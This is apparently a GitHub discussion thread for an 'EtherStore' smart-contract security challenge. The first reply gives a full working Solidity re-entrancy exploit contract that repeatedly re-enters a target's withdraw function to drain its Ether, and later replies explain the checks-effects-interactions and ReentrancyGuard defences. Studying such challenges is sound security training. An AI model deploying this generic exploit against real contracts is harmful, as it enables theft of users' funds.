EtherStore #4
Replies: 6 comments 8 replies
-
Code is below with comments for the exploit contract. This is a standard example of a re-entrancy attack which is caused when an attacker can use a contract with a fallback/receive function to reenter the the withdraw function prior to updating the contract accounts balance locally. // SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
// Create an Interface to handle the structure of the target contract
// This assumes the target will have a deposit and withdraw function
// and will work for all vulnerable contracts that have those methods
interface TargetContract {
function deposit() external payable;
function withdraw() external;
}
// This is an example of a re-entracy attack exploit contract
contract Challenge1Solution {
// used to ensure only the creator of the exploit contract can use it
address owner;
// used to keep track of the initial amount deposited
uint256 amount_deposited;
// used to keep track of how much was stolen
uint256 amount_stolen;
// used to set the address of the contract to exploit
address target;
// used to create an instance of the target contract to gain access to the functions it uses
// It currently handles one target at a time. Mappings could be used to keep a list of multiple contracts
TargetContract target_instance;
constructor (address _owner)
{
owner=_owner;
}
// Used so the malicious actor can see what the current target address is
function get_current_target() external view returns(address){
require(msg.sender == owner,"Invalid Sender");
return target;
}
// Used to set the current target
function set_target(address _target) external {
target = _target;
target_instance=TargetContract(target);
}
/**
* @dev Allows the owner to deposit funds into the target contract. This should be called by the owner only. The value sent with this transaction will be deposited into the target contract.
*/ // Used to set some amount of funds and send them to the target so they can be withdrawn
function load_initial_funds() payable external
{
require(msg.sender == owner,"Invalid Sender");
require(target != address(0), "Set Target");
target_instance.deposit{value:msg.value}();
amount_deposited=msg.value;
}
function attack()external{
require(msg.sender == owner,"Invalid Sender");
require(target != address(0), "Set Target");
target_instance.withdraw();
}
// Fall back function. This is triggered when the target_contract sends the funds
// It updates the tracker to see how much was stolen and then recalls the withdraw function
receive() external payable {
// Update the local value to track how much as been stolen (For bragging rights and situational awareness)
amount_stolen=amount_stolen+msg.value;
// Must perform a check because the transaction will fail and revert when the balance
// reaches a point below what is being withdrawn by the attacker
if (address(target).balance >= amount_deposited){
target_instance.withdraw();
}
}
// ALlows the owner to withdraw the funds from the exploiter contract
function withdraw() external {
require(msg.sender == owner,"Invalid Sender");
(bool sent, ) = msg.sender.call{value: amount_stolen}("");
require(sent, "Failed to send Ether");
amount_stolen = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
} |
Beta Was this translation helpful? Give feedback.
-
This is my solution. I added just below the EtherStore contract so there was no need for an interface.
|
Beta Was this translation helpful? Give feedback.
-
Here is my solution:
To prevent this kind of attack, we can use the check-effect-interactions pattern in the withdraw() function. This is basically updating the contract's state (i.e. the user's balance in this case) before making the ether transfer from contract to caller's address. There's also the ReentrancyGuard that can be inherited from Open Zeppelin. |
Beta Was this translation helpful? Give feedback.
-
Problem: failure to implement CEI in the withdraw function
|
Beta Was this translation helpful? Give feedback.
-
The import in the test has a spell mistake and Capital S was missing and the forge build throws an error file not found. |
Beta Was this translation helpful? Give feedback.
-
EtherStore
The Etherstore is loaded with funds, but its implementation is flawed. Uncover the vulnerability and drain all the funds.
Author: passandscore
Beta Was this translation helpful? Give feedback.
All reactions